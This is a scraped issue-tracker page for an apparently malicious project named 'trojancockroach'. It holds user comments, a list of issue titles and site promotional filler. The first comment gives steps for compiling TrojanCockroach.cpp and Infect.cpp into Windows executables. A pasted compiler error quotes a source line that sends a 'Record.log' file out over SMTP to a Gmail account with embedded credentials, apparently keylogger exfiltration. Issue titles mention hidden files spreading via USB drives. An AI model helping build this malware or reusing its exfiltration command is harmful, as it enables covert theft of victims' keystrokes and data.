Comments (3)
You have to compile the code with a C++ compiler.
I'm using the TDM-GCC MinGW compiler which you can download from this link: https://sourceforge.net/projects/tdm-gcc/
Once you download and install the compiler, you need to open the cmd, navigate to the folder containing the .cpp files using the "cd" command, and then execute these commands:
g++ -o NewFileName TrojanCockroach.cpp
g++ -o NewFileName Infect.cpp
Change "NewFileName" to w/e you want to name each exe file.
The exe files will appear in the same folder.
from trojancockroach.
Following te instruction to build the exe file wasn't successful with this error. Any tips on what should be done
'int main()': 72:5: error: return-statement with no value, in function returning 'int' [-fpermissive] 72 | return; | ^~~~~~ : In function 'void sendData()': 141:21: warning: ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings] 141 | char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from "@gmail.com" --mail-rcpt "@gmail.com" --ssl -u @gmail.com:pass -T "Record.log" -k --anyauth"; | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In function 'char* getRandomName()': 311:12: warning: address of local variable 'randomName' returned [-Wreturn-local-addr] 311 | return randomName; | ^~~~~~~~~~ 272:10: note: declared here 272 | char randomName[40]; | ^~~~~~~~~~ PS C:\Users> g++ -o cast Infect.cpp Infect.cpp: In function 'int main()': Infect.cpp:30:9: error: return-statement with no value, in function returning 'int' [-fpermissive] 30 | return;
from trojancockroach.
how do i set up my “gcc gcctest. c -o gcctest”
from trojancockroach.
Related Issues (20)
- return; // :) Compile issue and programme not working HOT 2
- About age variable and get_setAge() method HOT 1
- hole in readme HOT 1
- I want the source code of transmit.exe could you please send me HOT 1
- Functional Question
- Can you send me fixed code? HOT 2
- Help to find the issue
- my disk-on-key seems to automaticaly delete the hidden file after a few seconds, does any1 know why?
- Help HOT 3
- Windows
- Hidden files not showing HOT 1
- NEW CODE
- Code error
- Google account update HOT 1
- Suggestion
- nvm
- cant compile
- Intentional Errors HOT 2
- Infected
- Not an issue
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from trojancockroach.